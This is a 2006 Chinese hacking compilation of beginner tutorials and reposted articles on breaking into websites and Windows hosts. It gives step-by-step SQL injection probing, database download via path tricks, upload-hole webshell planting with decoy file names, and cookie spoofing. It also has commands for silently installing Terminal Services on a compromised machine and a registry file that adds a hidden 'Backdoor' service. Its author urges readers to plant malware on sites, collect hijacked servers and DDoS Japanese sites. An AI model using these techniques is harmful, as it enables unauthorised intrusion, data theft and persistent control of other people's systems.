│ │ ┌─│ ┌─┘ │ ／ ┌─┘ ┌─│
┌─│ ┌─│ │ ┌ ＼ ┌┘ ┌┌┘
┘ ┘ ┘ ┘ ──┘ ┘ ┘ ──┘ ┘─┘
/*****************************************************************
*
* 书籍名称：Hack Endless 书籍制作：日月双星
*
* 发行版本：V2.0 公开发行版本 发布日期：2006-03-12
*
* 发布目的：为有一定基础热爱网络安全朋友所准备。
*
* 版权说明：本书选摘的文章均归其作者所有。如在非网络上收录此书，
* 请联系[Netghank◎gmail.com]，网络上大家可以自由传播。
*
******************************************************************/
//此版本为第二版，收录了 403 篇技术文章和代码。
//考虑到技术含量和时效问题，并未收录QQ、网吧破解等类文章！
//希望大家努力学习技术，为安全事业做一份贡献，同时忠告菜鸟朋友多看书多实践。你的技术
会飞升起来的！


新人0起步接触黑客-1《名词介绍》
首先给大家介绍点名词： 1。肉鸡 2。木马 3。病毒 4。后门 5。CRACK 6。漏洞 7。端口 8。权限好了，下面我来详细介绍下。
1。肉鸡： 不是吃的那种，是中了我们的木马，或者留了后门，可以被我们远程操控的机器，现在许多人把有WEBSHELL 权限的机器也叫肉鸡
2。木马：特洛伊木马，大家在电影《特洛伊》里应该看到了，战争是特络伊故意留下了个木马，多方以为是战利品，带回城后，木马里面全是战士，（呵呵，自己看电影吧）这种东西，就叫做木马，可以说木马就是一方给肉鸡留下的东西，可以做到远程控制的目的，木马还分不同的作用，有盗号专用的木马，有远程控制专用的木马，下面介绍点：盗号专用的有许多，盗QQ的有 啊拉QQ大盗，强强盗QQ，传奇木马生成器，魔兽木马生成器等；远程控制的木马有：冰河（国人的骄傲，中国第一款木马），灰鸽子，PCshare，网络神偷，FLUX等，现在通过线程插入技术的木马也有很多，大家自己找找吧
3。病毒：这个我想不用解释了吧，相信大家都和它打过交道，病毒大多具有 破坏性，传播性，隐秘性，潜伏性
4。后门：这个就是入侵后为方便我们下次进入肉鸡方便点所留下的东西，亲切的称为后门，现在好点的后门有 REDMAIN 等
5。CRACK 这个名词很容易和HACK混淆，但是许多人不理解CRACK这个东西，但是接触过软件破解的人一定了解这个词 CRACKER分析下就是软件破解者的意思（注意这里有多了个ER），许多共享软件就是我们的CRACKER来完成破解的，就是现在俗称的 XX软件破解版
6。漏洞：这个名词相信也不用太多的介绍，根据字面意思也可以理解，就好象一个房子，门很结实，可是有个窗户却不好，这就很可能造成被别人进入，入侵是也是相对的，必须要有漏洞才可以入侵，这里顺便介绍下打补丁的意思，还是用上面的例子门很结实，可窗户不好，这里我们需要把窗户补上，就叫打补丁了，许多人问过我怎样知道自己的机器有漏洞？怎样打补丁？这里也回答下，首先介绍怎样检查自己奇迹有什么样的漏洞，有款工具简称为MBSA是微软公司针对windows系统的安全检测工具，大家可以去网上找到自己下下来检测下自己机器有什么样的漏洞，还介绍下微软的漏洞名称 MS05-001 MS05-002 这种形式的前面MS应为是微软的意思吧，05呢是2005年，001是在2005年第一个漏洞（不知道解释的对不，自己的理解）大家还可以下个金山毒霸，金山可以有个漏洞检测功能，还可以帮你补上相应的补丁，那么怎么打补丁呢？其实这个很简单，在微软的官方网站里可以输入 MS05-001（如果你有这个漏洞的话）微软就找出了响应的补丁，下载下来 安装下其实就可以了，呵呵，打补丁也不是什么困难的事情哦
7。端口：这个是入侵是很重要的一个环节，端口这个东西就好象是我要买东西，需要在1号窗口来结帐，而开放的1号窗口就好比响应的端口，端口可以形象的比喻成窗口，呵呵，不同的端口开放了不同的服务，大家可以在网上找到端口对照表来看下不同的端口开放的是什么服务 8。权限：这个东西和人权一个效果，我们有自己的权利，但是我们的权利不能超出自己的范围，比如法律可以控制人的生命，这种最高权限呢就是计算机中的 Admin权限 最高权限，法官呢是执行法律的人，比法律底点，这个呢就是SYSTEM权限 系统权限，以下每种人有着自己不同的权限，比如我们得到了个WEBSHELL权限，许多人不知道这个是什么权限，其实就是个WEB（网业）的管理权限，权限一般比较低，但是有时想得到个服务器的ADMIN权限，就可以先丛WEBSHELL权限来入手，也就是长说的提权。


新人0起步接触黑客-2《网站入侵》
昨天大家对黑客名词有了一些了解后我们今天来介绍点别的东西，介绍点入侵时常见的名词和一些入侵的方法，好了不废话了下面开始
首先介绍下什么样的站点可以入侵：必须是动态的网站 比如 asp php jsp 这种形式的站点 后缀为.htm的站点劝大家还是不要入侵了吧（入侵几率几乎为0）
入侵介绍： 1。上传漏洞 2。暴库 3。注入 4。旁注 5。COOKIE诈骗
1：上传漏洞，这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。
怎样利用：在网站的地址栏中网址后加上/upfile.asp如果显示 上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL
工具介绍：上传工具 老兵的上传工具 DOMAIN3.5 这两个软件都可以达到上传的目的 用NC也可以提交
WEBSHELL是什么：WEBSHELL在上节课简单的介绍了下，许多人都不理解，这里就详细讲下，其实WEBSHELL并不什么深奥的东西，是个WEB的权限，可以管理WEB，修改主页内容等权限，但是并没有什么特别高的权限，（这个看管理员的设置了）一般修改别人主页大多都需要这个权限，接触过WEB木马的朋友可能知道（比如老兵的站长助手就是WEB木马 海阳2006也是 WEB木马）我们上传漏洞最终传的就是这个东西，有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。
2。暴库：这个漏洞现在很少见了，但是还有许多站点有这个漏洞可以利用，暴库就是提交字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限了。
暴库方法：比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 我门就可以把com/dispbbs中间的/换成%5c 如果有漏洞直接得到数据库的绝对路径 用寻雷什么的下载下来就可以了 还有种方法就是利用默认的数据库路径 http://www.xxx.com/ 后面加上 conn.asp 如果没有修改默认的数据库路径也可以得到数据库的路径（注意：这里的/也要换成%5c）
为什么换成%5c：因为在ASCII码里/等于%5c，有时碰到数据库名字为/#abc.mdb的为什么下不了？ 这里需要把#号换成%23就可以下载了，为什么我暴出的数据库文件是以。ASP结尾的？我该怎么办？这里可以在下载时把。ASP换成。MDB 这样就可以下载了如果还下载不了可能作了防下载。
3。注入漏洞：这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的，可以得到管理员的帐号密码等相关资料。
怎样利用：我先介绍下怎样找漏洞比如这个网址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 后面是以ID=数字形式结尾的站我们可以手动在后面加上个 and 1=1 看看 如果显示正常页面 再加上个and 1=2 来看看 如果返回正常页面说明没有漏洞 如果返回错误页面说明存在注入漏洞。如果加and 1=1 返回错误页面说明也没有漏洞，知道了站点有没有漏洞我门就可以利用了 可以手工来猜解也可以用工具现在工具比较多（NBSI NDSI 啊D DOMAIN等）都可以用来猜解帐号密码，因为是菜鸟接触，我还是建议大家用工具，手工比较烦琐。
4。旁注：我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。打个形象的比喻， 比如你和我一个楼 我家很安全,而你家呢 却漏洞百出 现在有个贼想入侵我家 他对我家做了监视(也就是扫描)发现没有什么可以利用的东西 那么这个贼发现你家和我家一个楼 你家很容易就进去了 他可以先进入你家 然后通过你家得到整个楼的钥匙(系统权限) 这样就自然得到我的钥匙了 就可以进入我的家(网站)
工具介绍：还是名小子的DOMIAN3.5不错的东西 ，可以检测注入 可以旁注 还可以上传！
5.COOKIE诈骗：许多人不知道什么是COOKIE，COOKIE是你上网时由网站所为你发送的值记录了你的一些资料，比如IP，姓名什么的。
怎样诈骗呢？如果我们现在已经知道了XX站管理员的站号和MD5密码了 但是破解 不出来密码 （MD5是加密后的一个16位的密码）我们就可以用COOKIE诈骗来实现，把自己的ID修改成管理员的，MD5密码也修改成他的，有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的，系统以为你就是管理员了。
今天的介绍就到这里了 比较基础，都是概念性的东西，所有的都是我的个人理解，如有不正确的地方希望大家指出（个人认为就是 为什么换成%5c 这里有点问题）。


新人0起步接触黑客-3《学习方法》
今天有许多人问我：“我看了你的文章了，但是我是新人，有没有什么学习方法啊？”我回答的是；“当然有啊，不过人和人不同，方法是自己总结出来的，就和我前面文章中介绍的名词一样，都是我在学习中根据自己的经验和对他的认识总结出来的。”下面呢我就把我自己的学习经验写出来给大家参考下，大家可以根据我的方法去总结套适合自己的学习方法，这样对我们的进步很有必要，有了一个系统化的方法后，相信进步就不是一个困难的事情了。
初学HACK，首先有几点忠告：
1、就是不要以自己年龄下为借口，我以前一个学生就是学不会东西是就以自己年龄小为学不会的借口，我可以确切的说，年龄小并不是什么缺点，你会长大的，而正因为你年龄下，可以学到的东西才更多。
2、不要什么问题都问，这个也许有人不理解，为什么这么说呢？因为前不久有个文章名字叫《提问的智慧》相信大家都看过了吧（什么？你没有看？倒了，快去看去！）。里面写的东西很值得大家学习，特别是里面介绍的一个方法，就是把 baidu或google当老师，有问题就问他，相信你在问他的时候比去论坛问别人来的快。
3、不要三天热度，这个我见的很多，身边有许多朋友都是这样的，看到我有点小的成就和想学习HACK，然后学不会就说这个没有意思，这个是一个大错误。不是你学不会，是你懒的学，怕吃苦，哪里有学习3天就成HACKER的人，我是没有见过，许多有成绩的HACKER都是用自己的努力才换来的自己的成绩。还有，学习黑客时一定不能着急，一个问题不能解决时不要放弃，试着用其他方法看能达到自己的目的不，有时为了得到一个服务器权限要让服务器重起，需要等待好几天（除非你DDOS他可能快点）。
好了，下面介绍下学习方法：
1、首先要有本学习材料，大家可以通过《黑客X档案》 《黑客防线》《非安全》还有到我们黑基来学习，有许多人说，看不懂，里面东西太深奥了怎么办？我的回答是：“看不懂也要看，一便不懂看两便，甚至更多，没有人生下来就会走路。再不懂就问。”在我开始学习的时候，是看书，看了一便后一头雾水，什么都不懂，就坚持看下去，看了几个月后，觉得许多东西都自然明白是什么东西了。后来只要看到标题就大概能猜出文章里涉及的内容了。所以看书很必要，但有不能一切都相信书上写的，计算机这门科学是最注重实践的了，看到文章的内容吸引你，就去找个环境实践下吧，有条件要上，没有条件创造条件也要上。
2、就是定向自己要学习的内容，一直坚持的学下去，适当的时候学点其他的，就和大学里没有人有不同的专业一样，主要功自己的专业，然后学习其他的东西，比如你喜欢入侵网站，就多学点脚本。喜欢入侵个人，就学点远程溢出，配置木马什么的。喜欢编程，就选择个自己喜欢的语言学习下去，新人建议学习VB，C/C++也不错。
3、多去论坛看帖子，看自己懂的，不懂的，回答自己懂的问题，因为在你回答自己懂的问题的同时，自己加深了对这个问题的认识，因为别人能听懂你说的是什么时才说明你自己真正理解了这个问题。当碰到自己不懂的问题时，先试图自己找出问题的答案，（google啊）然后试着回答这个你自己不懂的问题。
4、多认识朋友，因为有的问题解决不了时问下朋友，他可能能帮你解决，因为2个人的思维比一个人的强大点，能考虑到的东西也多了。
5、不要盲目拜师，我不反对拜师，因为我也有师父，也需要拜师。但建议你在拜师前一定要知道你的师父擅长什么，比如你要学入侵个人主机，找了个脚本入侵强的师父当然不行。还有师父只是个指引我们学习的人，所有的东西还是要靠我们自己学习，把不懂的东西找师父一起解决，懂的东西自己多练习，然后不断学习新的知识，否则你讲会被淘汰。
以上就是我对学习的一点建议，今天头脑有点混乱，可能文章写的不太好，希望大家见谅，最后本人希望各位都能展翅高飞，脱离菜鸟！


新人0起步接触黑客-4《绝对暴库》
随着前三篇文章的诞生，大家想必对黑客有了一定的了解了吧，今天就来讲下以前的一个漏洞，但是很经典，现在也有不少网站仍然存在这样的漏洞。就是暴库漏洞。
什么是暴库呢？
就是利用不正当的手段使对方把数据库的绝对路经显示出来，然后我门知道了绝对路径，就可以下载下来，这样这个网站的数据库中的资料就被我门轻松掌握了。
那么怎么样使用暴库呢？
这个在新人2中有介绍，今天就来说说具体的用法。
首先要知道怎样才能暴库呢？
那就是把网站的第一个/换成%5c，如果有漏洞就可以直接显示出数据库的绝对路径了，我们把绝对路径中数据库的部分写到网站后面就可以下载数据库了。
还有一种方法，就是填写默认的数据库路径，就是conn.asp这样的默认数据库路径，每种形式的论坛，都有自己默认的数据库默认路径，大家去网上随便找找就可以找到了。但是在这个conn.asp默认路径的前面也是要把/换成%5c的。
为什么暴出来的数据库后缀名是.asp形式的？
这个是经过修改的，可能做了防下载处理，大家还是先把默认的路径添上以后看显示什么，如果没有做过防下载处理，会显示一堆乱码，大家可以把地址复制下来用讯雷下载下来，把.asp换成.mdb就可以打开了。
为什么我暴出来数据库路径，也添入了正确的路径下载不下来啊？
数据库路径是这样的D:/web/abc/#sjgf.mdb。这个是因为其中有个#在作怪，在ASCII中#相当与00 ，终止的意思，这里大家可以把这个#换成%23就可以下载了。
为什么我暴出了数据库，地址什么都写对着呢，还是下不了啊？
那么可能是因为数据库做了防下载处理，所以下载不下来。
为什么下载下来的数据库要求输入密码呢？
是因为数据库进行了加密，破解很简单，明小子的DOMIAN就有破解功能。
得到数据库有什么用呢？
用处大了，比如是个论坛的数据库，里面就记录了所有论坛里的信息，而我们需要的大概是ADMIN的信息吧？呵呵，还=什么呢啊？快去打开数据库中admin的啊，看下ADMIN的用户名，然后在user里把ADMIN的ID找出来，然后就可以以他的身份登陆论坛了哦！
今天就做了暴库的一点问题，大家回来自己联系下。不过现在有暴库漏洞的站很少了，但是作为一种技术我们必须掌握！


新人0起步接触黑客-5《注入漏洞》
上一节讲了暴库,今天来讲讲注入,现在注入漏洞简直多的和蚂蚁一样,随便找个站,就可能利用注入漏洞得到后台或者WEBSHELL,所以我们怎么能忽视这个漏洞呢?呵呵.下面就是介绍注入漏洞的用法.
在前面介绍过怎样辨别网站有注入漏洞,现在再来讲下,加深下印象,现在举的例子,比如我们检测的是这个站 http://www.123.com/
那么我们就先大概浏览下这个站是怎样的一个网站,然后开始检测,我们找个以数字结尾的业面下,比如 http://www.123.com/asd.asp?fid=1&ID=10
象这样的页面(自己编的哈哈)看到这里了么?就是ID=10这个就是数字结尾的,我们就可以在后面加上 and 1=1 看看是否显示正常页面,如果显示正常页面我们就可以在后面继续加上and 1=2 如果显示正常页面,那么说明没有注入漏洞,如果显示错误,(呵呵走运了,有漏洞.)就说明我们可以利用了,但是在and 1=1 时显示错误页面时,说明也没有漏洞.这样我门就判断这个站有没有注入漏洞了.(不过有时在同样一个站下,第一个页面没有漏洞,但是如果你多试几个很有可能能测出来个呢哦.'曾经看到过微软的官方网站有注入漏洞!汗!!')
下面我门知道了怎样判断漏洞,下面就讲讲怎样利用漏洞,因为这个是新人0起步系列,就不讲怎样手工注入了,(因为那样很麻烦的,只要要写上5000字,其中猜表段,猜用户,猜密码等写代码就要写 20行以上!"还是运气好的时候")
那么我们怎么办呢?哈哈这个很简单,大家下载个啊D注入工具,或者明小子的 DOMAIN3.5(好象写过好多的明小子的工具,哈哈,免费打广告了!)都可以检测的到注入漏洞的,HDSI NBSI也可以,最早的好象还有绝世猜想.好了工具就介绍到这里了我们就用啊D.
首先在地址栏里输入要注入的网址(废话),啊D 就会自动帮我门检测可能有注入漏洞的注入点,然后右键点检测,啊D就会自动检测了,(原理和手工注入的一摸一样没，只是写成了程序,方便了我们)如果可以注入成功,程序就会自动列出是什么数据库模式的,这里如果是Access数据库的,我们就可以猜解表段了,利用穷举法猜出表段的内容,一般如果测出表段名为ADMIN的就可以点这个来检测这个表段的内容了,然后一般情况下我们就可以检测出password,username这样的表段,最重要的就是这个了,我们点上着两个,然后继续猜解,相信不一会就可以猜解出来了,如果密码是经过MD5加密的一般是什么 动力文章系统 如果不加密的密码一般没有什么用,只能在后台上写点垃圾话,得不到WEBSHELL.
好了就说下加密后的MD5怎么办?
当然是破解啊!工具很多,大家找去,(以下介绍下我的破解思路,首先数字破解1分钟,如果没有换小写,破解10分钟,如果没有换小写加数字破解30分钟,这三中是一般人写密码的思路,也有BT的密码,如果以上都没有破出来建议你放弃!除非你非和这个站过不去)运气好的话很快就得到密码了,然后我们点扫描后台地址,一会就列出来了后台地址,前面是绿色小对号的是正常页面,打开后就可以添入我们破解出来的帐号密码了,这样我们就轻松进入了后台了,(这么快?对啊就是这么快!)如果进入了象动力文章这样的后台的话就可以得到WEBSHELL了.(怎么得到?先买个关子,以后会写出来的,只要大家继续支持我)
下面介绍下MSSQL数据库的用发,和前面一样我们先一顿扫描,然后下面数据库里显示MSSQL数据库,或 MSSQL数据库有错误显示,我们这里只说下SA权限的 (什么是SA权限的呢?SA权限是 SYSTEM 和ADMIN的缩写)这里我们可以先DIR下他的目录,然后扫面出站点根目录后就可以写入一句话木马了,再DIR下他的目录看写入没有.如果写入我们就可以利用冰狐浪子的小型木马或者蓝屏大叔的超小木马,来给站点发去大马(海洋啊,老病啊,什么的)这样就得到了WEBSHELL了,哈哈,简单吧.


新人0起步接触黑客-6《经典上传漏洞》
大家好啊，好久没有写过文章了，因为最近开学了！没有时间，也不知道写什么好，因为文字说明一些东西不太好写，没有动画那么直接，但是动画又没有什么做头，许多前辈都做过我写的东西的相应动画；不知道前面的注入漏洞大家回用了没有，今天就给大家讲下经典的上传漏洞。

话说从前动网6.0出现了严重的上传漏洞以后，许多站点都被KILL的很悲惨，直到现在一些站点还存在着上传漏洞，所以作为黑客的我们，必须掌握这些漏洞，即使是很早以前的漏洞也要知道一二，好了开始正题。
上传漏洞是在一个ASP页面后面输入 upfile.asp 然后看回显，（注意一点：就是在加这个后缀前，把IE中友好显示关了！要不没有效果的！）如果没有显示或者出现个什么“请登陆后使用”这样的呢，就是没有漏洞的拉。那么有漏洞的回显是什么样子的呢？ 如果有漏洞你会看到上面有个这样的字

请先选择你要上传的文件 [重新上传]
如果看到这个，80%就是有漏洞的站了！ 呵呵，这下好了！有的玩了。
我们现在知道了漏洞，但是怎么利用呢？我们可以听名字来分析下，上传漏洞，当然是上传了啊，我们可以把象海洋2006，老兵站长助手，这样的WEB木马传到站上，这样就有了WEBSHELL了，哈哈！（第一个WEBSHELL哦！）好了，下面讲下怎样上传，这个DOMAIN有上传的功能 我们进入 综合上传 然后点 动网上传漏洞 在提交地址里把站点填上 这里把 upfile.asp 也要放到后面我们的WEB木马就用默认的吧，然后点上传，如果成果就会显示 上传成功！ 我们点打开，就可以看到一个暴物理路径的马了，这里在 输入保存路径中 把 本文件绝对路径 中给的地址复制到输入保存路径中 这里注意的是 把里面的 diy.asp换成自己喜欢的.asp 结尾的名字 比如一个路径为

c:\web\oo1\diy.asp
的 我们把里面的.diy换成别的 我喜欢用 openzsk.asp 也可以起个什么诱惑点的名字 conm.asp .mian_admin.asp 什么的 这样的WEBSHELL不容易被发现 然后在输入马的内容这里把我们的 海洋或者老兵的WEB木马复制进去 （记得要把密码修改了啊！） 然后点保存 就可以！ 成果后会出现保存成功的字样 ，呵呵我们就可以登陆我们的WEBSHELL了。
这里在DOMAIN里的其他上传漏洞也是大同小异，一样可以得到WEBSHELL 大家自己研究下就可以了 ，还有就是上传也可以用什么专用上传工具什么的，有了WEBSHEL后，就相当于一个虚拟主机，我们可以修改网站的一些内容，还可以挂马，有兴趣的可以提下权，（我的最爱，哈哈！）运气好的话，一台崭新的服务器肉鸡就诞生了！哈哈！永久在线！我们如果有许多的服务器主机的话就发财了！哈哈！去DDOS日本站吧！


[转载]如何在命令行下远程安装终端服务

文章作者：coolweis (coolweis_at_sina.com)
文章备注：转个手工的过来 昨天晚上好多软件都开不成功 才意识到 手工的重要
在目前windows2000的远程溢出不断被发现的今天，入侵win2000已经不是什么太困难的事情了，但是如何更好的利用和控制呢？介绍一个好方法：终端服务。但是很多机器没有安装终端服务，那么我就给它装一个。其实这是一个很简单的事情。你需要做的仅仅是打三行命令而已。这里有一个前提就是，你已经通过其他手段获得了该机器的管理员或系统权限。那么接下来我们要做的就是给他开个终端服务！
先讲一下思路，思路很简单，就是windows2000有无人职守安装的工具，sysocmgr.exe。下面看看MSDN里面关于这个工具的介绍：
How to Add or Remove Windows 2000 Components with Sysocmgr.exe
--------------------------------------------------------------------------------
The information in this article applies to:
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
--------------------------------------------------------------------------------
SUMMARY
This article describes how to add or remove Windows 2000 components with the Sysocmgr.exe tool.
MORE INFORMATION
You can use the Sysocmgr.exe tool at a command prompt to add or remove Windows 2000 components. You can use the following command-line switches with Sysocmgr.exe:
/i:path to Sysoc.inf file, where path to Sysoc.inf file is the full path to the Sysoc.inf file, for example:
c:\windows\inf\sysoc.inf
/u:path to answer file, where path to answer file is the full path to the answer file that contains a list of items to add or remove.
/q - runs Sysocmgr.exe in quiet mode (without display pages)
/r - suppresses reboot (if needed)
NOTE: This procedure does not work and is unsupported with Microsoft Fax Service, COM+, and Distributed Transaction Coordinator. These are core components that are not removable.
The answer file can be any Windows 2000 answer file and only parses the [Components] and [NetOptionalComponents] sections. An example file is shown below:
[Components]
Netoc = on
Reminst = on
Paint = off
pinball = off
Solitaire = off
[NetOptionalComponents]
lpdsvc = 1
SimpTcp = 1
wins = 1
To start the installation or uninstallation of these components using Sysocmgr.exe, type the following command (file saved as c:\ocm.txt):
sysocmgr /i: %windir%\inf\sysoc.inf /u:c:\ocm.txt
For more information, please refer to the unattended documentation.
需要了解更多内容请参看无人职守文档。
我的思路就是利用这个工具进行无人职守安装，在安装过程中不需要交互，不显示窗口，安装完毕后不重新启动计算机（最好不要随便重新启动人家的机器，如果需要可以不选这一选项）。终端服务安装完毕后必须重新启动后才有效。可以根据情况处理。
下面是安装终端服务的具体做法。
首先，telnet到该机器上面（具体怎么样上去不需要我说了吧），然后在命令行下输入如下三行命令：
c:\>echo [Components] > c:\aa
c:\>echo TSEnable = on >>c:\aa
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\aa /q /r
等待一段时间后这个sysocmgr运行完毕后就把这个终端服务装好了。但是现在还不能启动这个服务。如果不怕重新启动的化，完全可以去掉/r参数，重新启动后服务回自动启动。还可以通过更改注册表来改变终端服务监听的端口号。至于如何更改就不是本文所涉及的了，网上有很多命令行下修改注册表的工具。
到目前为止，基本上远程命令行下安装终端服务就介绍完了。其实这是很简单的，不知到别人是否早就想到并实现了，我在这里献丑了。希望不要被拿来干坏事。


[转载]文件简单伪装二法

信息来源：HackBase.com
[Shell]
Command=2
iconFile=Shell32.dll,4
        （图标的位置，你可以改成你自己的图标，比如c;\a.ico）
[Taskbar]
Command=explorer
        （打开的程序shell，其实这个就是资源管理器）

然后保存，后缀改为SCF（不要用.txt)你会发现，出来一个文件夹的图标。
双击会跳到c盘，如何打开，你自己想办法了。

如果把后缀改成{21EC2020-3AEA-1069-A2DD-08002B30309D}，就会伪装成控制面版，至于改回来，那就去cmd改吧……


[转载]手工添加系统服务

文章来源：bugkidz.org
现在很多的木马、后门、蠕虫病毒都是通过修改注册表中的RUN键值来实现自启动。
但是这种自启动模式不是很隐蔽的，稍微懂点安全的人，一般发现电脑被黑，都会查看RUN键值的。
于是系统服务便成为了一种相对隐蔽的自启动模式。比如冲击波杀手就采用系统服务来自启动病毒程序。
现在添加系统服务的工具很多，最典型的就是netservice。但是我们这里讲的是手工添加系统服务，所以工具的使用不在本文的讨论范围之内。
WINDOWS里的很多东西都是跟注册表息息相关的，系统服务也不例外。
系统服务跟以下的注册表几个项目相关：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services

我们完全可以找到在系统服务中已注册的服务的键值来依样画葫芦。
在以上任何注册表列中添加一个新项：
名字是你想要添加系统服务的名字，比如Backdoor。
在BACKDOOR项下新建一个字符串,数值名称Displayname 数值数据为要添加服务的
名称Backdoor。
下面列出一个表，会直观一些：
名称 类型 数据 备注
Displayname REG_SZ 想要添加服务的名称 想要添加服务的名称
Description REG_SZ 服务的描述 服务的描述
ImagePath REG EXPAND SZ 程序的路径
Start REG_DWORD 0,2,3,4 2代表自动启动,3代表手动启动服务.4代表禁用服务,0代表系统对底层设备驱动(一般不需要这个)
ErrorControl REG_DWORD 1
Type REG_DWORD 10 or 20 一般应用程序都是10,其他的对应20
ObjectName REG_SZ LocalSystem 显示本地登陆
注意：在XP/2003下可以完全手工来添加REG EXPAND SZ类型。在XP/2003下直接修改ImagePath 键值就可以了。但是在WIN2000下却不可以。原因我也不清楚：（。但是在WIN2000下我们写一个REG来直接注册系统服务，这样WIN2000下添加系统也能很轻松了。这里同样需要注意的是注册表文件里的ImagePath的数值类型必须是HEX（16进制）。可以拿WINHEX来把程序的绝对路径转换成16进制的。每一个数值用逗号搁开。比如我的ImagePath键值是C:\winnt\nukegroup.exe那就应该转换成：
63，3A，5C，77，69，6E，6E，74，5C，6E，75，6B，65，2E，65，78，65（无空格）
打开记事本，敲入以下内容：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SRVTEST]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):63，3A，5C，77，69，6E，6E，74，5C，6E，75，6B，65，2E，65，78，65
"DisplayName"="SRVTEST"
"ObjectName"="LocalSystem"
"Description"="系统服务测试"
把以上信息保存为addsrv.reg，
我们就可以依靠命令来导入注册表，从而达到添加系统服务的目的。
我们在命令控制台输入regedit /s addsrv.reg，等机器重新启动，这个服务就被成功添加了。
但是我在真正实验的时候就遇到困难了。ImagePath的数值是乱码，
怎么想也不明白。但是这时可以把乱码修改成绝对路径了。如果直接把REG信息写成这样
"ImagePath"=hex(2):C:\WINNT\NUKEGROUP.EXE
其他的键值都可以添加，这个键值就不可以了？总之我们可以先添加乱码的ImagePath，然后再修改成C:\winnt\nukegroup.exe 这样也不是不可能的。就是在命令行下来添加就很麻烦了。(图3)
以上是Windows 2000手工添加系统服务的方法，对于Windows 98 注册表结构是不一样的，但是Windows 98仍然可以通过注册表来实现添加系统服务，而且还要更简单一些。
在项目“HKLM/SOFTWARE/Microsoft/WindowsCurrentVersion/RunServices”下添加一个新字符串数值。
比如，如果程序的名字叫做“BACKDOOR”，就建立一个名为“BACKDOOR”的字符串数值，然后在数据域中输入执行程序的完整路径。
手工添加一个系统服务就这么简单，手工删除系统也是一个道理。通过注册表来实现，这里就不多说了。


windows文件系统漏洞
我在调式程序的时候无意中发现………

大家都知道在Windows中“\”符号是路径的分隔符号，比如“C:\Windows\”的意思就是C分区中的Windows文件夹，“C:\Windows\System.exe”的意思就是C分区中的Windows文件夹中的System.exe文件，好继续我们假设一下：

如果文件名中有“\”符号会怎么样呢？假如“S\”是一个文件夹的名字，这个文件夹位于：“F:\”，他的路径就是“F:\S\”，当我们试图访问的时候Windows会错误的认为我们要打开的文件是C分区的S文件夹，这样Windows就无法打开并且会返回一个错误，因为以上的路径并不存在。

也许你现在正在尝试创建“S\”文件，但是Windows会提示你：“\”符号是不能作为文件、文件夹的名字的。看来Windows还是早已想到这一点了的。OK我们继续进行，就不信不能建立包含“\”符号的文件。

现在打开你的电脑，我们要做一些很有趣的尝试。进入Windows后 点击：开始>运行 然后输入“cmd”并会车（如果是Win98请输入“COMMAND”），这时你会看到Windows的命令控制台，我们就是要利用它完成我们剩下的测试，以下包含了很多命令其中{}中的字符是我的注释：
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

F:\Test>mkdir s\

F:\Test>mkdir s\s1\

F:\Test>mkdir s.\
子目录或文件 s.\ 已经存在。

F:\Test>mkdir s..\

F:\Test>mkdir s...\

----------------------------------------------

为什么会这样？我们先说你看到的这个“S.”文件夹，他即不能打开也不能删除，不能打开是因为他的实际路径是“F:\Test\s..\”（我们自己创建的所以可以确定他的实际路径）但是在Windows资源管理器中名字变成了“S.”也就是说当你试图打开它的时候Windows实际上尝试打开“F:\Test\s.\”当然是不能打开的，文件并不存在，所以Windows会报错。不能删除也是因为这个，Windows把一个实际存在的文件路径错误的解析为一个不存在的路径，并进行操作当然是无法完成的。

该说“S..”这个文件了，这个文件可以打开，但是却无法删除。等等……打开？你以为Windows真的是打开了我们创建的“s...\”文件了吗？我们做下面的试验你就明白了。还是老规矩{}是我的注释方便大家理解：
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

F:\Test>echo 1 > Txt1.txt

F:\Test>copy Txt1.txt s..\
已复制 1 个文件。

F:\Test>echo 2 > Txt2.txt

F:\Test>copy Txt2.txt s..\
已复制 1 个文件。

F:\Test>

----------------------------------------------

现在回到你的资源管理器打开“S..”文件夹，你看到了什么？“Txt1.txt”文件怎么会在这里？我们刚刚的确复制到了“S.”呀？难道我们打开“S..”文件夹实际上就是打开了“S.”？不错事实就是这样。其实如果你再创建一个“S”文件夹的话“S.”就能打开了，但是实际上打开的是“S”。

“我该怎么删除它呢？”，删除它也不算很难，但是常规的方法是绝对删不掉的。有两种方法可供选择：1；进入DOS删除（不推荐）。2；还是进入命令提示符然后输入“rmdir 目录名”，目录名就是你创建的时候的名字，如果忘记了可以先在资源管理器查看，然后加上“.\”。如果提示“文件夹不是空的”应该加上“/s”参数。删除实例：
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

F:\Test>dir
驱动器 F 中的卷是 BGTING
卷的序列号是 2C8E-FE1C

F:\Test 的目录

2003-09-11 17:50 <DIR> .
2003-09-11 17:50 <DIR> ..
2003-09-11 18:35 <DIR> s.
2003-09-11 18:37 <DIR> s..
1 个文件 9 字节
5 个目录 3,390,029,824 可用字节

F:\Test>rmdir s..\
